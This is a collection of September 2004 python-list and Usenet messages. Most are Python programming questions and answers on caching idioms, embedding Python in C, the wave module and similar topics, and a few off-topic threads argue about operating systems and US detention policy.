Message-ID: <b7Z3d.300693$vG5.71081@news.chello.at>

Hello Everyone,

Does any of you have experience using Python for the development of client 
side web applications? I found a Web Browser that comes with Python to 
provide embedding. I gave it a try but I would like to know if some of you 
have tried it as well or have tried some other tool.

Kind regards,
Sergio  Lobo

PS.: The url for that python based browser is www.browser1.com




From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Thu Sep  9 09:16:21 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.)
Date: Thu, 9 Sep 2004 15:16:21 +0200
Subject: Is it an error in email.Header?
References: <mailman.3086.1094726494.5135.python-list@python.org>
Message-ID: <chpl46$vkn$1@news-reader1.wanadoo.fr>

Hi !


decode_header not work for all cases of e-mails.  Use try, and, if except,
try other decode fonction (utf-8, cp1252, etc.)
Then an header can to have more differents codages. Try to decompose the
item, and to decode each element. The elements are often separate with  =?
and ?=



*sorry for my bad english*



Michel Claveau




From pmaupin at speakeasy.net  Tue Sep 28 22:48:46 2004
From: pmaupin at speakeasy.net (Patrick Maupin)
Date: 28 Sep 2004 19:48:46 -0700
Subject: all pairs of items in a list without indexing?
References: <mailman.4028.1096403649.5135.python-list@python.org>
Message-ID: <653b7547.0409281848.63d533db@posting.google.com>

Steven Bethard <steven.bethard at gmail.com> wrote :

> So I need to do something like:
> 
> for i in range(len(l)):
>     for j in range(i+1, len(l)):
>         # do something with (l[i], l[j])
 ... 
> Is there any way to do this without indexing

As others have pointed out, you can do this without indexing, but it
may involve overhead of other sorts (list copies, popping, etc.).

I'd just like to point out that, for the problem you are describing
(where you want every possible pair, but order doesn't matter), you
_can_ make your loop perhaps a bit more readable (depending on the
context it is used in), and perhaps a tiny bit faster:

for i in range(1,len(mylist)):
    for j in range(i):
        # do something with (l[i], l[j])

Regards,
Pat


From lbates at swamisoft.com  Mon Sep 20 11:42:34 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Mon, 20 Sep 2004 10:42:34 -0500
Subject: unsigned long to float.
References: <cimsoo$e6b$1@gateway.northropgrumman.com>
Message-ID: <qv-dnSHFvo30Z9PcRVn-pQ@comcast.com>

Use struct.unpack to convert into a float.

Larry Bates

"kingjames" <jf.davis at ngc.com> wrote in message 
news:cimsoo$e6b$1 at gateway.northropgrumman.com...
>I have a c30 to ieee float converter algorithm that takes binary data from 
>a
> c30, does some bit munipulation and stores the answer (i'm using unsigned
> longs for the processing).  When I come up with the answer, if I was in C 
> or
> Fortran, I could use either a union or equivalence to see the number in
> floating point rather than the representation in unsigned long.  I have
> found no equivalence in python of union or equvalence.  I could take the
> unsigned long, write it to a binary file and read it back in as a float.
> This would work, accept I do not want the overhead of io.  What can I do 
> to
> see this unsigned long as a float?
>
> Thanks
>
> 




From aleaxit at yahoo.com  Tue Sep 28 13:12:16 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 28 Sep 2004 19:12:16 +0200
Subject: Unexpected Python Behavior
References: <4e4a11f8.0409232355.6ba0468d@posting.google.com>
	<mailman.3834.1096015522.5135.python-list@python.org>
	<RImdnbz2hMm7v8ncRVn-qg@lmi.net>
	<cj18jn$47n$1@pegasus.csx.cam.ac.uk>
	<2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com>
	<1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com>
	<e9vhl0pheg3tqe1eop84me8ahdgkoq6t3i@4ax.com>
Message-ID: <1gku5es.10velnbpabcqeN%aleaxit@yahoo.com>

Andrea Griffini <agriff at tin.it> wrote:

> On Sun, 26 Sep 2004 10:39:15 +0200, aleaxit at yahoo.com (Alex Martelli)
> wrote:
> 
> >vs your apparently implied suggestion of:
> >
> >def f(x):
> >    if x in f.cache: ...
> >f.cache = []
> 
> I like more...
> 
>    def f(x):
>        if not hasattr(f,"cache"):
>            f.cache = []
>        ...

This means _every_ run of f will be loaded down by this test, just to
make everything less concise...?!  Horrible trade-off, IMHO.

> The best I can think to is something like
> 
>     def f(x):
>         static cache = []
>         ...
> 
> In other languages (mostly C) there cases in which I found
> nice the idea of a local name for a globally living object.

I don't think you stand a snowball's chance in hell to make this horrid
change become part of Python (thanks be!) -- I suggest you look at other
sort-of-Pythonic languages such as (e.g.) the new Qu, which may be more
open to changes of this nature.

> >As for 'risky', both approaches are.  The default argument risks the
> >user mistakenly passing a corresponding actual-argment; the function
> >attribute risks the user rebinding the name.
> 
> ?

import math

def f(x):
   try: return f.cache[x]
   except KeyError:
       f.cache[x] = result = math.sin(x)
       return result
f.cache = {}

def g(x):
   try: return g.cache[x]
   except KeyError:
       g.cache[x] = result = math.cos(x)
       return result
g.cache = {}

print f(0.2), g(0.2), f(0.2), g(0.3)

# note: oops coming
f, g = g, f

print f(0.2), g(0.2), f(0.2), g(0.3)


Basically, the idea of having f use f.cache depends on the unstated
assumption that global name 'f' will forevermore refer to the same
object it used to refer to at the time f.cache was initialized and the
first few entries of f.cache were set.  You say you consider it "risky"
to use f's default attribute values (which stick to the object, not to
the name), and I reply, _THIS_ inferior idiom you advocate is the truly
risky one -- it relies on a "fixed" name<->object correspondence which
NOTHING in Python guarantees or even suggests.


> Passing a parameter to a function that, by the way, is declaring
> it *wants* it doesn't seem to me the same as messing with
> internals of something from the outside.

If you want to hint that a parameter is really 'internal' name it with a
leading underscore, that's Python's convention.


> >here you get two separate caches, one for base.f and one for derived.f,
> >no sweat -- and if you want base.f to use derived.f's cache when call
> >from there, just chance the last call to 'base.f(self, x, cache)' --
> >obvious, simple, elementary.
> 
> When you need to mess with the those vars from the "outside" then
> it's clear you're not looking for a static; probably you're not
> even looking for a function as the interaction with the "state" is
> getting too important. IMO in these cases it's *way* better to
> use a class instead (may be one implementing the call interface).

And go to the huge trouble of simulating method-binding?!  Puh-LEEZE.
Using callable classes in lieu of a class's ordinary methods, when such
methods with perfectly normal Python semantics will do, is just plain
silly -- looking for complexity where no need for it exists.


> >And good luck in explaining all this to beginners -- while the default
> >argument approach is really trivial to explain.  Simple is better than
> >complex, and a general technique like using default values for caching
> >is better than a technique based on attributes which is not general
> >enough to be just used everywhere.
> 
> Once reading that default were evaluated at function definition
> time was enough for me; and I honestly say that I don't remember
> ever falling for this trap of modifiable default values (so far).

Good for you -- I did, a couple of times.

> However this seems happening quite frequently to novices; actually
> *very* frequently. So either all the world is wrong or this very
> specific part of the language has a problem.

Are you not part of this world, if _ALL_ the world is wrong yet you
never had the problem?  In my case, the problems were due to previous
experience with C++ -- a traumatic rite of passage which fortunately not
everybody HAS had to go through.


> >_Plus_, teaching this use of default values to beginners helps them
> >understand how default values work in all cases.  Explaining the dirty
> >tricks needed to extend a bit the applicability of using function
> >attributes for caching offers no such nice "side advantage".
> 
> Sure there is a plus in clearly understanding that function
> definition is an executable statement in python. But using
> an unrelated arbitrary fact (that default values are evaluated
> at that time instead than at call time) isn't IMO a good example.

Nope, that's not what I said.  I said, and I repeat (and expand since
clearly it wasn't clear to you): learning to use default values for a
cache, rather than the no-advantages-whatsoever technique you advocate
of using function attributes for the same purpose, besides all other
advantages, has the one of firmly fixing the concept that default values
are evaluate once, at def time.

> >In addition, accessing a local name is of course way faster than
> >accessing a global name and then an attribute thereof.
> 
> Yeah, static are slower than necessary; and uglier also.
> 
> May be the direction could be fixing that instead of just
> pushing towards an ugly hack that just happens to work.

I don't find default values ugly.


> >Yes, it helps them a lot to understand, realize, and remember, that
> >default values are shared among all of a function's calls.
> 
> That's the wart!

So here's our deep disagreement.  I would find it an intolerable wart if
Python did _anything else_ except evaluate expressions when it meets
them, implicitly "saving them away somewhere or other" to be reevaluated
over and over AND over again -- in SOME cases (chosen HOW...?!).


> >It's simpler and more general.
> 
> To me seems an unrelated side-effect of the decision of
> when to evaluate default parameters. I'm not questioning
> the decision per se (it has pros and cons... for example
> you can't use things like "def foo(x,y,z=x+y)") but that
> using fake parameters for static is ugly and error prone.

You call the decision "the wart!" and then claim not to be questioning
it?!  I've seen hypocrisy in my life, but this ridiculous combination
sure takes the prize!


Alex


From peter at engcorp.com  Wed Sep 15 17:24:22 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 15 Sep 2004 17:24:22 -0400
Subject: thread specific sys.stdout?
In-Reply-To: <ciabc0$seb$00$2@news.t-online.com>
References: <opsedyrils6yt6e7@news.cisco.com>
	<ciabc0$seb$00$2@news.t-online.com>
Message-ID: <1M2dnfnUBsOaLtXcRVn-jA@powergate.ca>

Diez B. Roggisch wrote:

> You could replace sys.stdout by a class that splits the written text
> depending on the current thread. It might look roughly like this:
> 
> class ThreadPrinter:
>     def __init__(self):
>         _.fhs = {}
> 
>     def write(self, value):
>         f = _.fhs.get(threading.currentThread(),
> open(get_some_nice_file_name(), "w")
>         f.write(value)
>         _.fhs[threading.currentThread()] = f

Have you run this code?  It looks to me suspiciously as
though it will raise an exception on the second write
call in any given thread, as the non-shortcircuiting call
to .get() tries to open the nice_file in write mode for
a second time.

Also, what's "_" supposed to be here?  self?

-Peter


From alicia.haumann at orthodyne.com  Wed Sep  1 19:50:46 2004
From: alicia.haumann at orthodyne.com (Alicia Haumann)
Date: Wed, 1 Sep 2004 16:50:46 -0700
Subject: Extending/Embedding python
Message-ID: <001201c4907e$8025b390$130106c0@engalicia>

I accidentally sent this to webmaster at python.org, so this could be a
duplicate if "webmaster" forwards it to this list.  :{

Hi, there.

Thanks for any help that can be offered.  I've been working with Python for
a year or more now, but only doing simple extending in C/C++.  I'm now
attempting some embedding and several questions have come to mind.

BTW - I'm running Windows 2000 with Python23 and VisualC++ developers
studio.

1.  (Not extending/embedding related at all)  How can I pass in a load/bunch
of defines so I can use them over and over again, instead of having to copy
them in every *.py script.  All my scripts use an "extension" dll that I
wrote that require a lot of constants.  I looked a lot at that PyMemberDef
and Type stuff but didn't get it and don't know if that's the solution
anyway.

2.  A couple simple examples I've seen for initModule() are written
differently.  One only calls Py_InitModule("module", module_methods), but
the other also calls PyImport_AddModule("module").  What is the difference?
What does PyImport_AddModule() accomplish?

3.  When embedding Python into my simple application, why can't I pass
application parameters?  PyRun_SimpleString seems to only take hard-coded
values.  Can/How can I get around this?  My code looks like:

  if (!Py_IsInitialized())
  {
   Py_Initialize();
  }
  PyRun_SimpleString("import MyModule");
  PyRun_SimpleString("MyModule.init(1, 'c:\\diag\\dsp.ldr', 0x5555)");
  PyRun_SimpleString("MyModule.MemoryTest(1, 0, 1)");
  PyRun_SimpleString("MyModule.Shutdown()");
  Py_Finalize();

But I'd like to pass application variables instead of the hard-coded 1, 0, 1
and 0x5555, such as:

int appInt = 0x5555;
PyRun_SimpleString("MyModule.init(1, 'c:\\diag\\dsp.ldr', appInt)");

I know I'm missing something fundamental here.  Please advise.

Also, is there a mailing list that I should join for this topic?

Thank you!!!!!!

Alicia.



From robin at reportlab.com  Fri Sep  3 06:41:28 2004
From: robin at reportlab.com (Robin Becker)
Date: Fri, 03 Sep 2004 11:41:28 +0100
Subject: Test the existence of a variable?
In-Reply-To: <ch9hhf$4re$1@s5.feed.news.oleane.net>
References: <ch9hhf$4re$1@s5.feed.news.oleane.net>
Message-ID: <41384A58.8040405@chamonix.reportlab.co.uk>

Thierry S. wrote:

> Hello.
> 
> I would to test the existence of a variable before to use it (like
> isset($myVar) in PHP).
> I try using "if myVar: ", but there is the error meesage (naturally):
> "NameError: name 'myVar' is not defined"
> 
> Please, could you tell me what for function exist to test the variable with
> Python?
> 
> Regards,
if globals().has_key('myVar'):
     ....

-- 
Robin Becker


From fuzzyman at gmail.com  Fri Sep 17 11:10:45 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 17 Sep 2004 08:10:45 -0700
Subject: Question: processing HTML,
	re-write default processing  action of many tags
References: <98ba0902.0409162115.3e2e9ee9@posting.google.com>
Message-ID: <6f402501.0409170710.796214ac@posting.google.com>

hubert at cs.nyu.edu (Hubert Hung-Hsien Chang) wrote in message news:<98ba0902.0409162115.3e2e9ee9 at posting.google.com>...
> I know you could use the 
> 
> 
> def start_a
> ....
> 
> def end_a
> ....
> 
> to process the <a href=...> anchor </a> tags, but is there a 
> default method for processing ALL tags? If I just want change 
> some parts of the hyperlink and want to keep other parts of the HTML
> could I just print them out? There should be such a method.
> Can't find it...
> 
> Thank you.

If you are modifying the contents of tags I've written a simple HTML
parser class called Scraper that does this. Unlike the HTMLParser in
the standard library it doesn't choke so much on badly formed HTML....

It's part of approx.py my cgiproxy....
http://www.voidspace.org.uk/atlantibots/pythonutils.html#cgiproxy  

HTH

Regards,

Fuzzy


From jeff at ccvcorp.com  Mon Sep 27 17:32:09 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Mon, 27 Sep 2004 14:32:09 -0700
Subject: Metaclass to make all methods of a class thread-safe
In-Reply-To: <41586889$0$568$e4fe514c@news.xs4all.nl>
References: <415728eb$0$78753$e4fe514c@news.xs4all.nl>
	<4edc17eb.0409270141.4faf130c@posting.google.com>
	<41586889$0$568$e4fe514c@news.xs4all.nl>
Message-ID: <10lh1j6f6vnkd2e@corp.supernews.com>

Irmen de Jong wrote:

>
> There is one thing though; methods that you're accessing trough the
> class's __dict__ (which is what the meta class is doing, right?)
> are of type <function>, rathar than <instancemethod> which I expected:
>
> >>> class A:
> ...  def meth(self): pass
> ...
> >>> type(A.meth)
> <type 'instancemethod'>
> >>> type(A.__dict__['meth'])
> <type 'function'>
> >>>
>
> Why is this?


I don't know for certain, but it occurs to me that the object returned 
by A.meth will insert A in front of all other arguments to the method, 
while the object returned by A.__dict__['meth'] does not do that.  Logic 
seems to suggest that the instancemethod type performs this 
argument-list-mangling and then passes the results on to the 
FunctionType object contained in __dict__ -- that is, instancemethod is 
essentially a function wrapper that provides the standard method-call 
translations for class instances.

Jeff Shannon
Technician/Programmer
Credit International



From dropthis_fanmail at micah-wedemeyer.net  Tue Sep 14 10:41:54 2004
From: dropthis_fanmail at micah-wedemeyer.net (Micah)
Date: Tue, 14 Sep 2004 10:41:54 -0400
Subject: Popping up the "Open With" dialog window
Message-ID: <ci6vvi$cec$1@news-int2.gatech.edu>

I know it's possible to use os.startfile() to open/execute a file based on
its extension, but when a file is not recognized, I get a WindowsError with
Errno 1155.

Is there any way (using wxPython) to popup the "Open With" dialog that
appears when trying to open an unrecognized file in Windows Explorer?

Thanks,
Micah

-- 
=================================
Micah Z. Wedemeyer
Research Scientist I, ELSYS
Georgia Tech Research Institute
Atlanta, GA 30332
678.428.1283
=================================




From aleaxit at yahoo.com  Fri Sep 17 08:01:48 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 17 Sep 2004 14:01:48 +0200
Subject: Small inconsistency between string.split and "".split
References: <mailman.3241.1095094663.5135.python-list@python.org>
	<LJSdnepvP_vbSdjcRVn-hg@powergate.ca>
	<864d370904091310411a2cf435@mail.gmail.com>
	<20040913175927.GB4646@siliconimage.com>
	<864d370904091311095be3e08c@mail.gmail.com>
	<4146C179.5000404@livinglogic.de>
	<mailman.3311.1095172226.5135.python-list@python.org>
Message-ID: <1gk9f6p.55wfdn1y3amuxN%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:

> Walter,
> 
> On Tue, 14 Sep 2004 12:01:29 +0200, Walter D?rwald
> <walter at livinglogic.de> wrote:
> > Carlos Ribeiro wrote:
> > I've fixed the docstring for both unicode.split() and
> > string.split() to give a hint about the None default. Note
> > that the docstring for str.split() already *did* mention
> > the None option.
> 
> I don't know if you can do it, but isn't easy to modify the split
> method to accept maxsplit as a keyword parameter? It would make it

Feasible, not hard, not trivial.  The problem is different...:

kallisti:~/downloads/Python-2.4a3 alex$ find . -name '*.c' | xargs cat |
grep -c 'METH_KEYWORDS'
92
kallisti:~/downloads/Python-2.4a3 alex$ find . -name '*.c' | xargs cat |
grep -c 'METH_VARARGS'
1272
kallisti:~/downloads/Python-2.4a3 alex$ find . -name '*.c' | xargs cat |
grep -c 'METH_'
2429

In other words: throughout the current C sources for Python (across all
platforms etc) there are about 2429 specifications of how various
functions (methods, of course, include) take their parameters.  Of
these, about half are METH_VARARGS (400 are METH_NOARGS, i.e.e functions
and methods accepting no explicit arguments, and 739 are METH_O,
accepting just one), and less than 4% accept keyword-style arguments.
Many of those are pretty recent additions, too, and some play special
roles which you just couldn't fulfil otherwise (e.g. consider the
optional key= vs cmp= arguments that 2.4 accepts for the list.sort
method -- they are mutually exclusive...).

Having ALL C-coded functions and methods that accept any argument accept
keyword-style arguments in particular would surely lead to a more
consistent language, once the impact of thousands of modifications to
the source stabilizes again -- a slightly bigger and slower interpreter,
no doubt, but probably only slightly.  But these thousands of changes
will require very substantial and disruptive editing -- substantial
manpower to perform them all, AND ensure they're all well tested (I
suspect the set of unit tests would have to more than double to do a
halfway decent job).  It would have to be among the major targets of a
given Python release, I suspect, and raising enthusiasm for such a job
might not be easy, even though Python would be a better language in
consequence.  Maybe it will be feasible as part of the 3.0 release,
which is slated to be incompatible anyway... remove the METH_VARARGS
altogether, breaking compatibility with all existing extensions, so
EVERY C-coded function in the future, if it takes any argument at all,
will HAVE to take them in keyword form, too.

Until it's feasible to perform such a sweeping change, justifying
changes to ONE specific method of an object which has dozens is going to
be pretty hard.  Perhaps, if someone volunteered a patch to make ALL
methods of string and unicode objects specifically accepts arguments in
keyword form as well as positionally, with all the needed tests & docs,
in time for Python 2.4's first beta in a couple of weeks, it might be
accepted (if separate but similar patches also existed for methods of
other built-in types, that would help all of their acceptance chances,
IMHO).  But a patch to change ONE method out of dozens, I suspect, would
be shot down -- the slight, useful extra functionality might be judged
to not be worth the increase in inconsistency in this area (which IMHO
must, sadly, count as a wart in today's Python, sigh).


Alex


> consistent with string.split(), and as far as I'm aware, it should not
> cause any sizeable performance penalty. But the most important reason
> is that keyword parameters for often-unused options make code more
> readable; for example,
> 
>     mystring.split(maxsplit=2)
> 
> reads better than:
> 
>    mystring.,split(None, 2)
> 
> That's my opinion, anyway...


From timr at probo.com  Tue Sep 28 02:29:21 2004
From: timr at probo.com (Tim Roberts)
Date: Mon, 27 Sep 2004 23:29:21 -0700
Subject: wave.readframes() (or conversion?)
References: <mailman.3880.1096068030.5135.python-list@python.org>
	<maocl0hgs9ha25a4441jkdnuppldahmvk8@4ax.com>
Message-ID: <r21il0ph5064kojtejlupq1p6b3karr8u2@4ax.com>

Tim Roberts <timr at probo.com> wrote:

>andrea valle <andrea.valle at unito.it> wrote:
>>
>>I'm using wave module with success. I'm writing data to wave file. 
>>Typically I create a list of values (data) and pass it to 
>>.writeframes(data) methods.
>>
>>a = wave.open("/test.wav", "w")
>>a.writeframes([32000, 0])
>
>What version of Python are you using??  On my Win32 Python 2.3, writeframes
>accepts only strings, and only after you have set the frame rate, sample
>size, and number of channels.

For those who may be following this at home, Andrea and I had a private
e-mail exchange during which we discovered why HE was able to pass a list
of integers to wave.writeframes, while I got an error saying that it had to
be a string.

Turns out he's using a Mac, which is big-endian.  On big-endian systems,
wave.writeframes passes its first parameter to array.array, calls byteswap,
and uses array.tofile to write it out.  array.array accepts a list.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From greg at cosc.canterbury.ac.nz  Wed Sep 15 02:20:59 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 15 Sep 2004 18:20:59 +1200
Subject: up with PyGUI!
In-Reply-To: <m3vfeg69xp.fsf@g2ctech.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com>
Message-ID: <2qq5adF133c5kU1@uni-berlin.de>

Jorge Godoy wrote:
> Indeed...  But first, I'm curious about how it looks.  I don't
> understand why people make GUI projects without any screenshot available
> on their own website.  How can we see how it looks without downloading,
> it?

How it looks isn't the point of PyGUI. The point is what
the API is like, and you can see that from reading the
online docs.

There wouldn't be much to see in the screenshots anyway.
On a Mac it looks like anything else does on a Mac, and
on Linux or Windows it (currently) looks like anything
else that uses Gtk.

 > BTW, I got really interested on the tool used to draw the diagrams on
 > this page:
 > http://www.cosc.canterbury.ac.nz/~greg/python_gui/
 >    version/Doc/ownership.html

As far as I can remember, I drew them with Appleworks 6,
printed them to PDF files, opened them with Preview and
then saved them as jpegs. (Photoshop might also have been
involved in there somewhere, I don't recall now.)

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From newsgroups at jhrothjr.com  Tue Sep  7 22:15:47 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Tue, 7 Sep 2004 21:15:47 -0500
Subject: %a format
References: <mailman.2992.1094581774.5135.python-list@python.org>
	<usm9tx5n3.fsf@broadpark.no>
Message-ID: <10jsqrm2rsqdc39@news.supernews.com>


"Tor Iver Wilhelmsen" <tor.iver.wilhelmsen at broadpark.no> wrote in message 
news:usm9tx5n3.fsf at broadpark.no...
> John Lenton <john at grulic.org.ar> writes:
>
>> Is there any reason python's printf-style formatting is missing the
>> (C99) '%a' specifier?
>
> Because it's not very well known or used? A google for "C printf
> format string" gave lots of resources, none of which had %a.
>
> Java's JDK 1.5 java.util.Formatter class supports it, though.

I suspect there's no major reason more significant than that
no one has written the patch to support it. That might suggest
that no one really cares enough to do so - IIRC, Python
shifted from using the C library printf() function to its own
code some time ago, so there's no real commitment to
following the C standard in this instance.

If the OP wants it, I would  suggest that he write the patch
(complete with the doc changes, etc.) and submit it.  It might
be a good idea to provide a use case more significant than
"it's in the C99 standard" as well - but then I'm not
channeling the core developers that well these days.

John Roth 




From thorsten at thorstenkampe.de  Sun Sep 12 14:23:45 2004
From: thorsten at thorstenkampe.de (Thorsten Kampe)
Date: Sun, 12 Sep 2004 20:23:45 +0200
Subject: text-based crossplattform interface for Python?
Message-ID: <5dz4g8bmx1vl$.dlg@thorstenkampe.de>

Does anyone know of a textbased interface that runs under Linux /and/
Windows[1]? Pythondialog[2] would be perfect - but it runs only under
Linux. Cygwin provides Curses for Windows but I don't know of any
Dialog port for Cygwin.


Thorsten

[1] Something like "EasyGUI" without the GUI
[2] http://pythondialog.sourceforge.net/


From ruchika_khera at hotmail.com  Fri Sep 10 02:18:54 2004
From: ruchika_khera at hotmail.com (Ruchika)
Date: 9 Sep 2004 23:18:54 -0700
Subject: Can we use /MAKE inside the popen3 command?
Message-ID: <82880e86.0409092112.2176b26f@posting.google.com>

Is it OK to use "/" or "-" characters in a string and then use that
string inside the popen3 command? I am doing the following -

os.popen3('r'"C:\Program Files\... \EVC.exe"'
r'"C:\Test\...\Test.vcp"' /MAKE "GFSDK - Win32 (WCE ARMV4) Release"
/REBUILD"')

When I run this command in the Python shell, it says - "Syntax Error"
and the marker is uderneath the "-" in  "GFSDK - Win32 (WCE ARMV4)
Release". Not sure if the marker is actually pointing to specifically
"-" or the entire /MAKE "GFSDK - Win32 (WCE ARMV4) Release" string.
Anyone else came across similar problem?

Thanks for your help.

Ruchika


From FBatista at uniFON.com.ar  Fri Sep 24 15:37:56 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Fri, 24 Sep 2004 16:37:56 -0300
Subject: Why not FP for Money?
Message-ID: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>

[Paul Rubin]

#- I really do think now that if we're serious about supporting 
#- decimals,
#- we need decimal literals.

What do you mean with "decimal literals"?

.	Facundo


From cesar.andres at gmail.com  Thu Sep 30 10:37:58 2004
From: cesar.andres at gmail.com (Cesar Andres Roldan Garcia)
Date: Thu, 30 Sep 2004 09:37:58 -0500
Subject: Web Application
Message-ID: <2b608e46040930073750bfb23b@mail.gmail.com>

Hi!

I have some doubts with something I do

I'm making a web app something like a shopping car, and I have to use
the MVC Model (model-view-controller more info at "model 2 java" in
google's first link), so I do something like this:

- I use css and HTMLgen module in python for generating HTML webpages
based on the content of queries and insertions of products. (that's
view)

- I define classes for each object I have to create in Python, so,
they have the instructions for insert, delete, select using adodb
module (that's the object part)

- Then I use CGI based on python depending of the user want to do
(insert a product, make a query of products, etc...), those cgis call
the functions and objects in python, then those functions return html
code.

my questions is, anybody know how can i make this more efficient?? or
using something better for generate HTML, or in general, something for
making a web application like a shopping car??

thanks u very much

-- 
Atentamente,

Cesar Andres Roldan Garcia


From john.thingstad at chello.no  Tue Sep  7 16:59:44 2004
From: john.thingstad at chello.no (John Thingstad)
Date: Tue, 07 Sep 2004 22:59:44 +0200
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com><1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch><87hdqptl96.fsf_-_@thalassa.informatimago.com><4PGdnfsOfdDPi63cRVn-tA@speakeasy.net><slrncj1745.t5q.amajorel@atc5.vermine.org><41337FC9.8070902@hotmail.com><slrncj7hhh.2pt.amajorel@atc5.vermine.org><p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com><slrncj8m5n.2pt.amajorel@atc5.vermine.org><%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net><2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com><opsdpdzglzpqzri1@mjolner.upc.no><slrncjep0f.oa.amajorel@vulcain.knox.com><opsdpprvxppqzri1@mjolner.upc.no><slrncjf52a.oa.amajorel@vulcain.knox.com>
	<20040904.0140.57670snz@dsl.co.uk>
	<769.746T1245T5844062@kltpzyxm.invalid>
Message-ID: <opsdy5xuappqzri1@mjolner.upc.no>

On 07 Sep 04 09:44:24 -0800, Charlie Gibbs <cgibbs at kltpzyxm.invalid> wrote:

> In article <20040904.0140.57670snz at dsl.co.uk>, bhk at dsl.co.uk
> (Brian {Hamilton Kelly}) writes:
>
>> On Thursday, in article
>> <slrncjf52a.oa.amajorel at vulcain.knox.com> amajorel at teezer.fr
>> "Andre Majorel" wrote:
>>
>>> Are you arguing that the stability comes from the API, not from
>>> the implementation ? If so, why has NT become more stable over
>>> the years, since its API has not changed ?
>>
>> I'd like to imagine that it's because there are fewer fuckwits using
>> it; BICBW....
>
> Does this mean that XP is getting less stable?
>
> --
> /~\  cgibbs at kltpzyxm.invalid (Charlie Gibbs)
> \ /  I'm really at ac.dekanfrus if you read it the right way.
>  X   Top-posted messages will probably be ignored.  See RFC1855.
> / \  HTML will DEFINITELY be ignored.  Join the ASCII ribbon campaign!
>

As you may know XP is not particularly good as a server.
Exchange server (email) has always sucked,
you can disengage the windows interface,
the system still wants to warn you on the screen forcing you to have  
access to the screen at all times,
so the function as a server it leaves something to be desired.
I would go for some Unix implementation (perhaps free-BSD)
As a workstation XP seems OK.
I hear a lot of complaints about XP's stability.
Since I have not administered a XP network, yet, I cant comment on that.
But in my personal experience it is a stable system.
I frequently let my computer run 24 hrs. a day for more than a month  
without
a need to reboot. So for me it is adequate.

-- 
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/


From bm at acm.org  Sun Sep 12 13:04:19 2004
From: bm at acm.org (Bulent Murtezaoglu)
Date: Sun, 12 Sep 2004 20:04:19 +0300
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<41444b6a$0$6932$61fed72c@news.rcn.com> <87zn3v7ekc.fsf@p4.internal>
	<41446336$0$6925$61fed72c@news.rcn.com>
Message-ID: <87pt4r771o.fsf@p4.internal>

>>>>> "jmf" == jmfbahciv  <jmfbahciv at aol.com> writes:
[...]
    jmf> Would rather he do like Italy?  They are letting them go.
    jmf> Then these released people go blow up something else. [...]
    bm> Why are those the only two choices?  Do you think people turn
    bm> into bomb-wielding terrorists by feat of mere suspicion?

    jmf> Oh, sigh!  [emoticon begins to hit head against wall because
    jmf> it feels better]

I didn't mean to upset you.  But sigh indeed.  Offtopic in all groups 
too.  Maybe we should get jailed?  Who knows _what else_ we might be 
up to?  Can't be too cautious these days.  What color was that alert 
now?  Better call the authorities.

    bm> I don't think the US abuses the 'enemy combatant' device as
    bm> much as we fear, yet.

    jmf> Hint..the US isn't abusing enemy combatants.

Um, I said 'the enemy combatant device' not the people themselves.
There's no doubt that the people themselves are being abused.  That's
the whole point of a separate status, no?  I thought the 'enemy
combatant' designation was devised to go around both the US law, and
the Geneva Convention pertaining to POWs.  As for the _US_ doing it, 
yes you are correct, the nation itself isn't doing it.  Indeed the 
whole reason for the invention of this odd locution was the thought 
that the nation would have expected its gov't to at least appear 
to stay within certain boundaries.  Maybe they needen't have bothered?  
 
    >> ...  But if the people in the US are convinced that the choice
    >> is between getting blown up and secret detentions w/o judicial
    >> oversight then it will get far worse than we fear. [...]

    jmf> WHAT SECRET DETENTIONS?
 
Responding in "hints" and ALL CAPS brings us to the ludicrous situation
where a Turk gets to give a pointer to the ACLU to an American:

http://www.aclu.org/SafeandFree/SafeandFree.cfm?ID=13079&c=207

;) 

cheers,

BM


    >> I am beginning to think the US gov't and populace alike might
    >> be believing the "they hate us for our freedoms" line and
    >> trying to get rid of the said freedoms in the hope that it will
    >> appease the terrorists.

    jmf> Now there you actually made a point, but not the one you
    jmf> think you did.

Let's hear it.  

    >> Look, what is to prevent your government from putting cuffs on
    >> me and shipping me off to a dungeon the next time I am in the
    >> US because of the sentence above?

    jmf> Too many people coming in.  As long as you don't stand up and
    jmf> shout bomb or make a fool of yourself going through customs
    jmf> and fill out the paperwork without trying to be a smartass, I
    jmf> don't see people who are already overworked and stretched
    jmf> thin bothering with you.


    >> .. Would I see a judge?  Lawyer?

